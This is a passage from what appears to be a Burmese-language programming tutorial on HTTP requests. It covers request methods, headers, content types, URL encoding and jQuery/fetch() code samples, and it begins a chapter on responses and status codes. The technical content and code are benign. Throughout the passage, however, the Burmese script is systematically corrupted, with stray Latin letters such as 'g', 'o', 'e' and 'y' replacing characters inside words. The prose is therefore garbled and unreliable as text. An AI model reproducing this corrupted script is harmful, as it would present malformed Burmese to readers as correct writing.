နဲ ့API ကြေတွ တည်ကြေဆာက်နိုင်oုိအ့တွက် သိသင့်တာကြေတွ goည့်စွက်ကြေoာ်gပသွားမှာပါ။
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Requests ကြေတွအကြေeကာင်း ကြေလ့လာတဲ့အခါ မှတ်ရလွယ်ကြေအာင် အပုိင်း (၄) ပုိင်း ခွဲကြေgပာချင်ပါတယ်။

1. Request Method
2. Request URL
3. Request Headers
4. Request Body

Request တစ်ခရုဲ့ oဲွ့စည်းပံုကို အခုလုိ မျက်စိထဲမှာ gမင်eကည့်eကရကြေအာင်။ အကြေပါ်မှာကြေgပာထားတဲ့ အချက်
(၄) ချက် စုoဲွ့ပါဝင်တဲ့ Package ကြေလးတစ်ခုလုိ ့gမင်eကည့်ရမှာပါ။

1. METHOD

POST
2. URL

/products

3. HEADERS

Content-Type: application/json
Accept: application/json

4. BODY

{ name:"Book", price:4.99, category:15 }

Client က Server ကို ဆက်သွယ်မှု စတင်gပုလုပ်ကြေတာ့မယ်ဆိုရင် ဒီ Package ကြေလးကို အထုပ်လုိက် လှမ်း
ပုိ့ပြပီးကြေတာ့ ဆက်သွယ်ရတယ်လုိ့ ကြေခါင်းထဲမှာ ပံုကြေoါ်eကည့်ပါ။ METHOD ကကြေတာ့ ဆက်သွယ်မှုကို gပုလုပ်ရ
တဲ့  ရည်ရွယ်ချက်ပါ။  Data  လုိချင်လုိ့လား။  Data  ပုိခ့ျင်တာလား။  Data  gပင်ကြေစချင်တာလား။ စသgoင့်ပါ။
တစ်ကယ်ကြေတာ့ Data  လုိ့ မကြေခါ်ပါyူး။  Resource  လုိ့ကြေခါ်ပါတယ်။ အကြေခါ်အကြေဝါ်ကြေeကာင့် ကြေခါင်းမစားပါနဲ။့
Resource ကကြေတာ့ အကြေခါ်အကြေဝါ်အမှန်ပါ။ ဒါကြေပမယ့် Data, Resource, Content, Document, Object စ
သgoင့် အမျ ို းမျ ို း ကြေခါ်eကပါတယ်။ လုိရင်းကကြေတာ့ အတူတူပါပဲ။

URL  ကကြေတာ့ ဆက်သွယ်ရယူလုိတဲ့အချက်အလက်ရဲ့  တည်ကြေနရာပါ။  HEADERS  ကကြေတာ့ ဆက်သွယ်မှု
ဆိုင်ရာ  အချက်အလက်များ  goစ်ပါတယ်။  yယ်လုိပံုစံနဲ့  လုိချင်တာလဲ။  yာကြေeကာင့်လုိချင်တာလဲ။  စတဲ့
အချက်အလက်ကြေတွပါ။ BODY ကကြေတာ့ Client yက်က ကြေပးပုိလုိ့တဲ့ အချက်အလက်ကြေတွ goစ်ပါတယ်။ ကြေပး
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ပုိလုိ့တဲ့ Data မရှိတဲ့အကြေgခအကြေနမှာ Body မပါတဲ့ Request ကြေတွဆိုတာလည်း ရှိနိုင်ပါတယ်။

အ့ဲဒီထဲကမှ အခုစတင် ကြေလ့လာeကရမှာကကြေတာ့ Method ကြေတွ အကြေeကာင်းပဲ goစ်ပါတယ်။

Request Methods
HTTP  နည်းပညာက သတ်မှတ်ကြေပးထားတဲ့  Request  Methods  (၉)  မျ ို းရှိပါတယ်။  တစ်ခုချင်းစီမှာ  သူ့
အဓိပ္ပါယ်နဲသူ့ပါ။ အကြေရးကြကီးပါတယ်။ င်္ဂရုစိုက်ပြပီးကြေလ့လာကြေပးပါ။

1. GET –  Client  က  Server  ထံကကြေန  အချက်အလက်ကြေတွရယူလုိတဲ့အခါ GET Method  ကို
အသုံးgပုရပါတယ်။

2. POST  - Client က Server ထံ အချက်အလက်ကြေတွကြေပးပုိလုိ့တဲ့အခါ POST Method ကို အသံုးgပု
ရပါတယ်။ ဒီလုိကြေပးပုိလုိ့က်တဲ့အတွက် Server မှာ အချက်အလက်သစ်ကြေတွ ကြေရာက်ရှိသွားတာ goစ်
နိုင်သလုိ၊  ရှိပြပီးသား  အချက်အလက်ကြေတွ  ကြေgပာင်းလဲသွားတာ၊  ပျက်သွားတာမျ ို းလည်း  goစ်နိုင်ပါ
တယ်။  ရုိးရုိး    Web Application    ကြေတွမှာ    POST     ကို  အချက်အလက်သစ် ကြေပးပုိ့oုိ့ကြေရာ၊ gပင်ဆင်oုိ့  
ကြေရာ၊  ပယ်oျက်oုိပ့ါ  အသုံးgပုeကပါတယ်။  ဒါကြေပမယ့်    API    မှာကြေတာ့    POST   Method    ကို  
အချက်အလက်သစ်ကြေတွ  ကြေပးပုိ့oုိအ့တွက်သာ  အသုံးgပုeကကြေလ့  ရှိပါတယ်။  gပင်ဆင်တဲ့လုပ်ငန်းနဲ့
ပယ်oျက်တဲ့လုပ်ငန်းအတွက် တgခားပုိသင့်ကြေတာ်တဲ့ Method ကြေတွကို သုံးeကပါတယ်။

3. PUT – Client  က Server  မှာရှိတဲ့  အချက်အလက်ကြေတွကိုအစားထုိးကြေစလုိတဲ့အခါ PUT Method
ကိုအသုံးgပုရပါတယ်။  ကြေပးလုိက်တဲ့အချက်အလက်နဲ့  မူလရှိကြေနတဲ့  အချက်အလက်ကို  အစားထုိး
လုိက်မှာပါ။  Server  မှာရှိတဲ့  အချက်အလက်ကြေတွ  ကြေgပာင်းလဲသွားမှာgoစ်လုိ့  PUT Method  ကို
Update လုပ်ချင်တဲ့အခါ အသံုးgပုရတယ်လုိ့ ဆိုeကပါတယ်။

4. PATCH –  Client  က  Server  မှာရှိတဲ့  အချက်အလက်တစ်စိတ်တစ်ပုိင်းကိုကြေgပာင်းကြေစလုိတဲ့အခါ
PATCH Method  ကို  အသုံးgပုရပါတယ်။  ဒါကြေeကာင့်  PATCH ကိုလည်း  အချက်အလက်ကြေတွ
Update  လုပ်ချင်တဲ့အခါ အသံုးgပုနိုင်ပါတယ်။  PUT နဲ့  PATCH ရဲ့ ကွဲgပားမှုကို  နားလည်oုိ့ လုိပါ
တယ်။ နှစ်ခုလံုးက Update လုပ်တာချင်း တူကြေပမယ့် သကြေyာသyာဝ ကွဲgပားပါတယ်။ နင်္ဂိုရှိကြေနတဲ့
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အချက်အလက်ကို၊  ကြေပးလုိက်တဲ့  အချက်အလက်သစ်နဲ့  အစားထုိးgခင်းအားgoင့်  ကြေgပာင်းကြေစလုိရင်
PUT     ကိုသုံးပြပီး၊  နင်္ဂိုရှိကြေနတဲ့  အချက်အလက်မှာ  တစ်စိတတ်စ်ပုိင်းပဲ  ကြေရွးထုတ်gပင်ကြေပးကြေစလုိရင်  

PATCH     ကို သုံးရတာပါ  ။

5. DELETE –  Client  က  Server  မှာရှိတဲ့  အချက်အလက်ကြေတွ  ပယ်oျက်ကြေစလုိတဲ့အခါ  DELETE
Method ကို အသုံးgပုရပါတယ်။

6. OPTIONS – Client  နဲ့  Server  eကား သကြေyာတူညီချက်ယူတဲ့  ဆက်သွယ်မှုကြေတွကို  OPTIONS
Method နဲ့ gပုလုပ်ရပါတယ်။ သကြေyာတူညီချက်ယူတယ်ဆိုတာ ဥပမာ Client က ဆက်သွယ်ခွင့်
ရှိရဲ့လား  လှမ်းကြေမးတဲ့အခါ  Server  က  Username,  Password  လုိတယ်လုိ့  gပန်ကြေgပာတာမျ ို းပါ။
အချက်အလက်  အမှန်တစ်ကယ်ကြေပးပုိတ့ဲ့  Request  မဟုတ်yဲ  အကြကို  အကြေမးအကြေgo  လုပ်တဲ့
Preflight Request ကြေတွအတွက် သုံးတဲ့သကြေyာပါ။

7. HEAD – GET Method နဲ့ အတူတူပါပဲ။ ကွာသွားတာကကြေတာ့ Server  က Response gပန်ကြေပးတဲ့
အခါ  Headers  ပဲကြေပးပါ၊  Body  မလုိချင်ပါyူးလုိ့  ကြေgပာလုိက်တာပါ။  အကြေပါ်ကပံုမှာ  gပထားတဲ့
Request မှာ Headers နဲ့ Body ရှိသလုိပဲ၊ Server ကgပန်ကြေပးမယ့် Response မှာလည်း Headers
နဲ့  Body  ရှိပါတယ်။  GET က  Headers  ကြေရာ  Body  ပါ  အကုန်လုိချင်တဲ့သကြေyာgoစ်ပြပီး  HEAD
ကကြေတာ့ Headers ကြေတွပဲ လုိချင်တယ်ဆိုတဲ့သကြေyာ goစ်ပါတယ်။

8. CONNECT – ဒီ Method ကကြေတာ့ API မှာ မသုံးeကပါyူး။ ရှိမှန်းသိကြေအာင်သာ ထည့်ကြေgပာထားထာ
ပါ။ HTTP Proxy ကြေတွအတွက် အဓိကသံုးပါတယ်။

9. TRACE – Client  ပုိလုိ့က်တဲ့အတိုင်းပဲ  Server  က gပန်ပုိ့ကြေပးကြေစလုိတဲ့အခါ  TRACE Method  ကို
သုံးရပါတယ်။ အဆင်ကြေgပရဲ့လား ကြေပးပုိစ့မ်းသပ်eကည့်တဲ့ သကြေyာမျ ို းပါ။

ဒီ  Request Method ကြေတွကို အသုံးgပုလုိက်gခင်းအားgoင့် အလုိအကြေလျှာက် လုိချင်တဲ့လု််ပကြေဆာင်ချက်ကို
ရသွားမှာ  မဟုတ်ပါyူး။  Service  ကို  ဒီဇုိင်းလုပ်မယ့်သူက ဒါကြေတွကို  သိထားပြပီး  ကြေပးပုိလ့ာတဲ့  Request
Method နဲအ့ညီ အလုပ်လုပ်ကြေပးနိုင်ကြေအာင် ဒီဇုိင်းလုပ်ရမှာပါ။ ဒီအတိုင်း အတိအကျ မလုပ်ရင်ကြေရာ မရyူး
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လား။ ရပါတယ်။ ဥပမာ - အချက်အလက်သစ်ကြေတွ တည်ကြေဆာက်လုိရင်   POST     ကို သုံးရမယ်လုိ့   HTTP   က  
ကြေgပာထားပါတယ်။  ကိုယ်က  အ့ဲဒီအတိုင်း  လုိက်မလုပ်yဲနဲ့    GET     နဲပုိ့လ့ာတာကိုပဲ  အချက်အလက်သစ်  
တည်ကြေဆာက်oုိ့ သတ်မှတ်မယ်ဆိုရင်လည်း ကိုယ့်    Service    က အလုပ်ကြေတာ့ လုပ်ကြေနမှာပါပဲ။ မှန်ကန်စနစ်  
ကျတဲ့    Service    ကြေတာ့goစ်မှာ  မဟုတ်ပါyူး  ။  Service  နဲ့  API  ဒီဇုိင်း  ကြေကာင်းမကြေကာင်းဆိုတာ  ဒါကြေတွက
စကားကြေgပာသွားမှာပါ။

Request Headers
Request  Headers  ကြေတွအကြေeကာင်း  ဆက်eကည့်eကပါမယ်။  HTTP  က အသုံးgပုoုိ့  သတ်မှတ်ကြေပးထားတဲ့
Headers  ကြေတွကကြေတာ့  အများကြကီးပါ။  လုိက်ကြေရeကည့်တာ  Request,  Response  အပါအဝင်  Headers
အားလုံးကြေပါင်း (၁၀၀) ကြေကျာ်ပါတယ်။ အ့ဲဒီထဲက၊ အကြေတွ့ရများတဲ့ Request Headers ကြေတွက ဒါကြေတွပါ။

• Accept
• Accept-Encoding
• Authorization
• Cache-Control
• Content-Type
• Cookie
• ETag
• If-Modified-Since
• Referer
• User-Agent

Service  ကြေတွoန်တီးတဲ့အခါမှာ  ကိုယ်တိုင်တိုက်ရုိက်  မeကာခဏ  စီမံoုိလုိ့နိုင်တာက  Accept,
Content-Type နဲ့  Authorization တိုပ့ါ။  ကျန်တာကြေတွက အကြေရးကြေတာ့ကြကီးပါတယ်။  ဒါကြေပမယ့်
ကိုယ်တိုင် စီမံoုိလုိ့ချင်မှလုိပါလိမ့်မယ်။ တစ်ချ ို ့က Client ပရုိင်္ဂရမ်ကို Run တဲ့ Browser က လုပ်ကြေပးသွားပါ
လိမ့်မယ်။ တစ်ချ ို ့ကိုကြေတာ့ အသင့်သုံး  Library  ကြေတရွဲ့အကူအညီယူလုိက်လုိ့ ရနိုင်ပါတယ်။ goစ်နိုင်မယ်ဆို
ရင် ဒါကြေတွကို အကြေသးစိတ် အကုန်ကြေgပာချင်ကြေပမယ့် သွားချင်တဲ့ လမ်းကြေeကာင်းကကြေန ကြေyးနည်းနည်း ကြေရာက်
သွားမှာစိုးလုိ ့လုိမယ့်အပုိင်းကြေလးကြေတွပဲ အရင်ကြေရွး eကည့်eကရကြေအာင်ပါ။

Content-Type Header  ကကြေနစကြေgပာပါမယ်။  Content-Type Header  မှာ  Client  က ကြေပးပုိမ့ယ့်
Request Body ရဲ့  Content  အမျ ို းအစားကို သတ်မှတ်ကြေပးရမှာပါ။  Content Type ကြေတွ ဒီလုိ အမျ ို းမျ ို းရှိ
နိုင်ပါတယ်။
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• image/jpeg
• image/png
• image/svg+xml
• text/plain
• text/html
• application/javascript
• application/json
• application/xml
• application/x-www-form-urlencoded

ဥပမာတစ်ချ ို ့  ကြေရွးထုတ်ကြေပးတာပါ။  အ့ဲဒီလုိ  Content  Type (MIME Type  လုိလ့ည်းကြေခါ်ပါတယ်)  ကြေပါင်း
(၆၀၀)  ကြေကျာ်ကြေတာင်  ရှိပါတယ်။  မနည်းမကြေနာပါ။  အ့ဲဒီထဲကမှ  API  အတွက်  အသုံးအများဆံုး  goစ်မှာ
ကကြေတာ့  application/json နဲ့  application/x-www-form-urlencoded တို့  goစ်ပါ
တယ်။

Accept Header ကကြေတာ့ ကြေgပာင်းgပန်ပါ။ Client ကgပန်လုိချင်တဲ့ Content Type ကို သတ်မှတ်oုိအ့တွက်
အသုံးgပုရတာပါ။ ဟိုးအကြေပါ်က Request တစ်ခုမှာပါတဲ့အရာကြေတွကို Package တစ်ခုလုိ့ gမင်eကည့်ပါဆိုပြပီး
ကြေပးထားတဲ့နမူနာကို gပန်ကြေလ့လာeကည့်ပါ။ Content-Type က application/json goစ်ကြေနသလုိ
Accept ကလည်း  application/json goစ်ကြေနတာကို  ကြေတွ့ရမှာ  goစ်ပါတယ်။  အဓိပ္ပါယ်ကကြေတာ့
Client ကြေပးပုိ့မှာ JSON goစ်သလုိ Client က gပန်လုိချင်တာလည်း JSON ပဲ လုိချင်တယ်လုိ့ ကြေgပာလုိက်တာ
ပါ။

လက်ကြေတွ့အသုံးgပုရမယ်လုိ့ကြေgပာတဲ့အထဲမှာပါတဲ့  Authorization Header  အကြေeကာင်းကိုကြေတာ့
သက်ဆိုင်ရာအခန်း  ကြေရာက်ကြေတာ့မှပဲ  ကြေgပာgပပါကြေတာ့မယ်။  အခု  Request  Body  အကြေeကာင်း  နည်းနည်း
ဆက် eကည့်ချင်ပါတယ်။
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Request Body
Client  ပရုိင်္ဂရမ်နဲ့  Server  ပရုိင်္ဂရမ်တို့  တည်ကြေဆာက်ထားတဲ့ နည်းပညာကြေတွ မတူလည်းyဲ  HTTP  ကို သုံး
တာချင်းတူရင် အgပန်အလှန် ဆက်သွယ်အလုပ်လုပ်နိုင်တယ်လုိ့ ကြေgပာခဲ့ပါတယ်။ ဒီကြေနရာမှာ ကြေgပာစရာရှိလာ
တာက Data Format  ပါ။  HTTP    ကို သုံးeကတာချင်းတူလုိ့ အgပန်အလှန် ဆက်သွယ်နိုင်တယ် ဆိုကြေပမယ့်  
သုံးတဲ့    Data Format   မတူရင် သူကြေပးတဲ့    Data   ကို ကိုယ်နားမလည်၊ ကိုယ်ကြေပးတဲ့    Data   ကို သူနားမလည်  
goစ်နိုင်ပါတယ်။ 

HTTP ကကြေတာ့ yယ်လုိ့  Data Format (Content Type) ကို သံုးရမယ်လုိ့ ပံုကြေသကန့်သတ် မထားပါyူး။
Support လုပ်တဲ့ Content Type ကြေပါင်း (၆၀၀) ကြေကျာ်ထဲက ကြကိုက်တာကို သံုးပြပီး ဆက်သွယ်လုိရ့ပါတယ်။
ဒါကြေပမယ့်  ကြကိုက်တာသုံးလုိရ့တယ်ဆိုတိုင်း  တစ်ကြေယာက်တစ်မျ ို း  သံုးလုိ့မgoစ်ပါyူး။  yံုတူညီနဲ့  Format
တစ်ခုကို ကြေရွးချယ် အသုံးgပုeကoုိလုိ့ပါတယ်။ အရင်ကကြေတာ့ အချက်အလက်oဲွ့စည်းပံု တင်းeကပ်စနစ်ကျတဲ့
XML ကို yံုတူညီတဲ့ Data Exchange Format အကြေနနဲ့ အသုံးgပုeကပါတယ်။ ကကြေနက့ြေခတ်မှာကြေတ့ JSON ကို
သာ အဓိကထားပြပီး အသုံးgပုeကပါကြေတာ့တယ်။ တgခား  Content Type  တစ်ခုခုကို နှစ်yက်ညိှပြပီး သုံးeက
မယ်ဆိုရင်လည်း  goစ်ကြေတာ့goစ်နိုင်ပါတယ်။  ဒါကြေပမယ့်  JSON  ဟာ  oဲွ့စည်းပံုစနစ်ကျတယ်၊  ကြေပါပ့ါးတယ်၊
အသုံးgပုရလည်း လွယ်ကူတယ်၊ ပြပီးကြေတာ့ ကွန်ပျူတာစနစ် အကြေတာ်များများကလည်း နားလည်တဲ့အတွက်
JSON ကိုသာ ကြေရွးချယ်အသုံးgပုလာeကgခင်း goစ်ပါတယ်။

Client    က    Data    ကြေပးပုိတ့ဲ့အခါ    JSON Format    ကို  အသံုးgပုသင့်သလုိ့    Server    က gပန်ပုိတ့ဲ့အခါမှာလည်း  
JSON Format   ကိုသာ သုံး  eက  ရမှာ goစ်ပါတယ်  ။ တနည်းအားgoင့် Request Body ဟာ JSON Format goစ်
ရမှာ goစ်ပြပီးကြေတာ့ Response Body ဟာလည်း JSON Format goစ်ရမှာပဲ goစ်ပါတယ်။

JSON  အgပင်goည့်စွက်မှတ်သားသင့်တဲ့  Format  ကကြေတာ့  URL  Encode  Format  goစ်ပါတယ်။  သူ့ကို
Request Body အgoစ်ရံoန်ရံခါ သံုးeကပါတယ်။ URL Encode Format ဟာ ရုိးရုိး Plain Text တစ်မျ ို း goစ်
ပါတယ်။ ဒါကြေပမယ့် Key1=Value1&Key2=Value2 ဆိုတဲ့ oဲွ့စည်းပံုနဲ ့သုံးကြေပးရပါတယ်။ ဥပမာ -

name=John%20Doe&age=22&email=john%40gmail.com

ကြေပးထားတဲ့နမူနာကို  ကြေသချာeကည့်လုိက်ရင် သူ့မှာ  name, age နဲ့  email ဆိုတဲ့ တန်oုိးသုံးခု ပါဝင်ပါ
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တယ်။ Key နဲ့  Value ကို  = နဲ့ ပုိင်းgခားပြပီး၊ တန်oုိးတစ်ခုနဲတ့စ်ခုကို  & သကြေက[တနဲပုိ့င်းgခားလုိ့ ဒီ  Operator
နှစ်ခုကို အထူးgပုမှတ်သားရပါမယ်။ တန်oုိးကြေတွထဲမှာ Space နဲ့ Special Character ကြေတွကို အသုံးgပုခွင့်မ
ရှိပါyူး။ အသုံးgပုလုိရင် သတ်မှတ်ထားတဲ့နည်းအတိုင်း  Encode  လုပ်ကြေပးရပါတယ်။  %20 ဆိုတာ  Space
goစ်ပါတယ်။ ဒါကြေeကာင့်  John%20Doe ကို  Decode  gပန်လုပ်လုိက်ရင်  John Doe  ကိုရမှာ goစ်ပါတယ်။
%40 ကကြေတာ့  @  goစ်ပါတယ်။  ဒါကြေeကာင့်  john%40gmail.com ကို  Decode  gပန်လုပ်လုိက်ရင်
john@gmail.com ကို ရမှာပါ။

တစ်ကယ်ကြေတာ့ သတ်မှတ်ထားတဲ့  URL Encode\Decode  တန်oုိးကြေgပာင်းတဲ့အလုပ်ကို ကိုယ်တိုင်လုပ်စရာ
မလုိပါyူး။ အသင့်သုံးလုိရ့တဲ့ နည်းပညာကြေတွရှိပါတယ်။ ဒါကြေeကာင့် ဒီ Encode တန်oုိးကြေတွကြေeကာင့် မျက်စိမ
ရှုပ်ရကြေအာင်  ကြေနာက်ပုိင်းနမူနာကြေတွမှာဆိုရင်  Encode  လုပ်ပြပီးကြေတာ့  ကြေoာ်gပမှာမဟုတ်ကြေတာ့yဲ၊  ရုိးရုိးပဲ
ကြေoာ်gပသွားကြေတာ့မှာပါ။ ဒီလုိပါ -

name=John Doe&age=22&email=john@gmail.com

ဒီလုိရုိးရုိးအgမင်အတိုင်း  ကြေoာ်gပထားကြေပမယ့်၊  တစ်ကယ်တမ်း  အလုပ်လုပ်တဲ့  အခါမှာကြေတာ့  Space
အပါအဝင် Special Character ကြေတွကို သတ်မှတ်ထားတဲ့ နည်းလမ်းအတိုင်း Encode လုပ်ပြပီးကြေတာ့ အလုပ်
လုပ်သွားပါလား ဆိတုာကို ကြေလ့လာသူက သိထားoုိပဲ့ လုိပါတယ်။ ကိုယ်တိုင်လုိက်လုပ်ကြေပးစရာကြေတာ့ လုိခဲ
ပါတယ်။  တစ်ခါတစ်ရံ  မgoစ်မကြေန  ကိုယ်တိုင်  Encode/Decode  လုပ်ကြေပးoုိ့  လုိတယ်ဆိုရင်လည်း
သက်ဆိုင်ရာ Language မှာအသင့်ပါတဲ့ လုပ်ကြေဆာင်ချက်ကြေတွကို သံုးနိုင်ပါတယ်။ ဥပမာ - JavaScript မှာ
encodeURIComponent() ကိုသုံးပြပီးကြေတာ့  ရုိးရုိး  String  ကို  URL  Encode  ကြေgပာင်းနိုင်သလုိ၊
decodeURIComponent() ကိုသုံးပြပီးကြေတာ့ String gပန်ကြေgပာင်းနိုင်ပါတယ်။

အခု စာအကြေနနဲ့ oတ်ရှုကြေလ့လာခဲ့တဲ့ သကြေyာသyာဝကြေတွကို ရှုကြေထာင့်တစ်မျ ို းကြေgပာင်း ကြေလ့လာပြပီးသား goစ်
သွားကြေအာင် ကုဒ်နမူနာကြေလးတစ်ချ ို ့နဲလ့ည်း ဆက်လက်ကြေoာ်gပပါဦးမယ်။
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Request Code Sample
ဒီကုဒ်နမူနာကြေတွက လက်ကြေတွ့ လုိက်ကြေရးoုိ့ မဟုတ်ကြေသးပါyူး။ စာနဲ့ကြေလ့လာခဲ့တဲ့ သကြေyာသyာဝကို ပုိပြပီး
gမင်သွားကြေအာင် ကုဒ်နမူနာအကြေနတဲ့ ထပ်gပကြေပးတဲ့သကြေyာပါ။ ကုဒ်ကြေတွကို လုိက်oတ်ပြပီး ကြေလ့လာeကည့်ပါ။

 JavaScript/jQuery 

$.ajax({
url: "/products/",
type: "POST",
contentType:"application/x-www-form-urlencoded",
data: "name=Book&price=8.99",
success: function() {

// do something
}

});

ဒါဟာ jQuery  ရဲ့  ajax() Function ကို အသံုးgပုပြပီး  Request  ကြေပးပုိပုံ့ ကြေပးပုိန့ည်း goစ်ပါတယ်။ url,
type, contentType, data စသgoင့်  Request  တစ်ခုမှာ ပါဝင်ရမယ့်အရာကြေတွကို  gပည့်gပည့်စံုစံု
သတ်မှတ်ကြေပးရတာကို  ကြေတွ့နိုင်ပါတယ်။  jQuery  က  HTTP  အကြေeကာင်း  ကြေသချာမသိတဲ့သူကြေတွလည်း
အသုံးgပုရတာ  လွယ်ကြေစချင်လုိ့  ထင်ပါတယ်၊  အသံုးအနှုန်းကြေတွကို  ကြေgပာင်းထားပါတယ်။  type ဆိုတာ
METHOD ကို ကြေgပာတာပါ။  data ဆိုတာ  BODY  ကို ကြေgပာတာပါ။ ဒီကုဒ်ကိုပဲ နည်းနည်းgပင်လုိက်လုိ့  ရပါ
ကြေသးတယ်။

 JavaScript/jQuery 

$.ajax({
url: "/products/",
type: "POST",
data: { name: "Book", price: 8.99 },
success: function() {

// do something
}

});

contentType goုတ်လုိက်တာပါ။  contentType မပါရင်  Default  က URL Encode  ပဲမုိလုိ့ပ့ါ။  ပြပီး
ကြေတာ့ data ကိုeကည့်ပါ။ URL Encode ဆိုကြေပမယ့် JSON အကြေနနဲ့ ကြေပးလုိရ့ပါတယ်။ jQuery က JSON ကို
URL Encode goစ်ကြေအာင် သူ့yာသာကြေgပာင်းကြေပးသွားမှာ မုိလုိ့ပ့ါ။
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ကြေနာက်ထပ်ကုဒ်နမူတာတစ်မျ ို း ထပ်eကည့်လုိက်ပါဦး။

 JavaScript 

fetch("/products", {
method: "POST",
headers: {

"Content-type": "application/json",
"Accept": "application/json"

},
body: JSON.stringify({ name: "Book", price: 8.99 })

});

ဒါကကြေတာ့  ES6  fetch() ကိုအသုံးgပုပြပီး  Request  ကြေပးပုိလုိ့က်တာပါ။ သူကကြေတာ့  HTTP  အသုံးအနှုန်း
အမှန်အတိုင်းပဲ အသုံးgပုကြေပးရပါတယ်။  URL  ကို  ပထမ  Parameter  အကြေနနဲ့  ကြေပးရပြပီး  ကျန်တဲ့  Method,
Headers, Body  စတာကြေတွက ကြေနာက်ကလုိက်ရတာပါ။ နမူနာမှာ  HEADERS  ရဲ့  Content-type ကို
JSON  လုိ့  သတ်မှတ်ထားတာကို  ကြေတွ့နိုင်ပါတယ်။ ဒီကြေနရာမှာ  Accept Header  ကိုလည်း  သတိgပုပါ။
တစ်ချ ို ့  Server ကြေတွက Data Format နှစ်မျ ို းသံုးမျ ို း Support လုပ်eကပါတယ်။ အ့ဲဒီလုိ Support လုပ်တဲ့
အခါ Client က Accept Header ကိုသုံးပြပီး ကိုယ်လုိချင်တဲ့ Format ကို ကြေgပာgပလုိရ့တဲ့သကြေyာပါ။

BODY အတွက်  JSON Data  ကိုကြေပးထားပါတယ်။ ဒီလုိကြေပးတဲ့အခါ  ကြေရးထုံးက JSON ကြေရးထုံးနဲ့  ကြေရးရကြေပ
မယ့် ပုိတ့ဲ့အခါ String အကြေနနဲ့ ပုိရ့လုိ့  JSON.stringify() Function ရဲ့အကူအညီနဲ့  String ကြေgပာင်း
ထားတာကို ကြေတွ့ရနိုင်ပါတယ်။ ဒါကိုလည်း ကြေသချာ သတိgပုပါ။ Content Type ကို JSON လုိ့ကြေgပာထားတဲ့
အတွက် ပုိတ့ဲ့  Format က JSON Format မှန်ရပါတယ်။ ဒါကြေပမယ့် HTTP က တစ်ကယ်ပုိတ့ဲ့အခါ String
အကြေနနဲပဲ့ ပုိတ့ာပါ။ ဒါကြေeကာင့် JSON Format   နဲ့ ကြေရးထားတဲ့   String   ကို ပုိတ့ာ goစ်ရမှာပါ။

ဒီကြေလာက်ဆိုရင်  HTTP  Request  ကြေတွအကြေeကာင်း  စံုသင့်သကြေလာက်  စံုသွားပါပြပီ။  ကြေနာက်တစ်ခန်းမှာ
Response ကြေတွအကြေeကာင်း ဆက်eကည့်eကရကြေအာင်။
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အခန်း (၆၈) – HTTP Response

HTTP Request ကြေတွကို မှတ်ရလွယ်ကြေအာင် Method, URL, Header, Body ဆိုပြပီး  (၄) ပုိင်းမှတ်နိုင်တယ်
လုိ့ ကြေgပာခဲ့ပါတယ်။ HTTP Response ကြေတွကိကုြေတာ့ (၃) ပုိင်း မှတ်ကြေပးပါ။

1. Status Code
2. Response Headers
3. Response Body

Request မှာတံုးက ကြေပးပုိတ့ဲ့အခါ Package ကြေလးတစ်ခုအကြေနနဲ့ Method, URL, Headers, Body ကြေတွကို စု
oဲွ့ပြပီးကြေတာ့  ပုိတ့ယ်လုိ့  ကြေgပာခဲ့ပါတယ်။  Server  က gပန်လည်ကြေပးပုိတ့ဲ့  Response  ကြေတွကလည်း  ဒီလုိပံုစံ
Package ကြေလးနဲပဲ့ ထုပ်ပုိးပြပီး gပန်လာတယ်လုိ ့gမင်eကည့်နိုင်ပါတယ်။

1. STATUS CODE

201 Created
2. HEADERS

Content-Type: application/json
Location: http://domain/books/3

3. BODY

{ id: 3, name: "Book", price: 4.99 }
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Request  တံုးက  Method  ကြေတွကို  ဦးစားကြေပး eကည့်ခဲ့ပါတယ်။  Response  အတွက်ကြေတာ့  Status Code
ကြေတွကို ဦးစားကြေပးပြပီး ကြေလ့လာeကရမှာပါ။

Status Codes
Status Code ကြေတွကို အုပ်စု (၅) စုခွဲပြပီး မှတ်နိုင်ပါတယ်။

• 1XX – လက်ခံရရှိကြေeကာင်း အသိကြေပးgခင်း
• 2XX – ဆက်သွယ်မှု ကြေအာင်gမင်gခင်း
• 3XX – တည်ကြေနရာ ကြေgပာင်းလဲgခင်း
• 4XX – Client ကြေeကာင့်goစ်ကြေသာ Error
• 5XX – Server ကြေeကာင့်goစ်ကြေသာ Error

Status Code ကြေတွဟာ အပြမဲတမ်း (၃) လုံးတွဲပဲလာပါတယ်။ တgခားပုံစံမလာပါyူး။ 1 နဲစ့တဲ့ Status Code
ကြေတဟွာ  ဆက်သွယ်မှုကို  လက်ခံရရှိကြေeကာင်း  အကြေeကာင်းgပန်တဲ့  ကုဒ်ကြေတွပါ။  အလုပ်မလုပ်ကြေသးပါyူး၊
အသိကြေပးတဲ့  အဆင့်ပဲ  ရှိပါကြေသးတယ်။  2  နဲစ့တဲ့  Status Code  ကြေတွကကြေတာ့ အများအားgoင့်ဆက်သွယ်မှု
ကြေအာင်gမင်သလုိ  သက်ဆိုင်ရာလုပ်ငန်းလည်း  ကြေအာင်gမင်တယ်လုိ့  အဓိပ္ပါယ်ရတဲ့  ကုဒ်ကြေတွပါ။  3  နဲစ့တဲ့
Status  Code  ကြေတွကကြေတာ့  အများအားgoင့်  Client  လုိချင်တဲ့အချက်အလက်ရဲ့  တည်ကြေနရာကြေgပာင်းသွား
ကြေeကာင်း အသိကြေပးတဲ့  Code  ကြေတွပါ။  4  နဲ့  စတဲ့  Status Code  ကြေတွကကြေတာ့ ဆက်သွယ်မှု မကြေအာင်gမင်တဲ့
အခါ  Error  အကြေနနဲ့  ကြေပးမှာပါ။ မကြေအာင်gမင်ရgခင်းအကြေeကာင်းရင်းက Client  ရဲ့  အမှားကြေeကာင့်ပါ။  5  နဲစ့တဲ့
Status  Code  ကြေတွကလည်း  ဆက်သွယ်မှု  မကြေအာင်gမင်တဲ့အခါ  Error  အကြေနနဲ့  ကြေပးမှာပါပဲ။  ဒါကြေပမယ့်  ဒီ
တစ်ခါကြေတာ့ မကြေအာင်gမင်တာ Server ရဲ့ အမှားကြေeကာင့်ပါ။

Status Code ကြေပါင်း (၅၀) ကြေကျာ်ရှိလုိ့ တစ်ခုမကျန်အကုန်မကြေoာ်gပကြေတာ့ပါyူး။ အကြေရးကြကီးတဲ့ Code ကြေတွကို
ပဲ  ကြေရွးထုတ်ကြေoာ်gပသွားပါမယ်။ အကြေရးကြကီးပါတယ်။ ကိုယ့်  Service  နဲ့  API  yက်က သင့်ကြေတာ်မှန်ကန်တဲ့
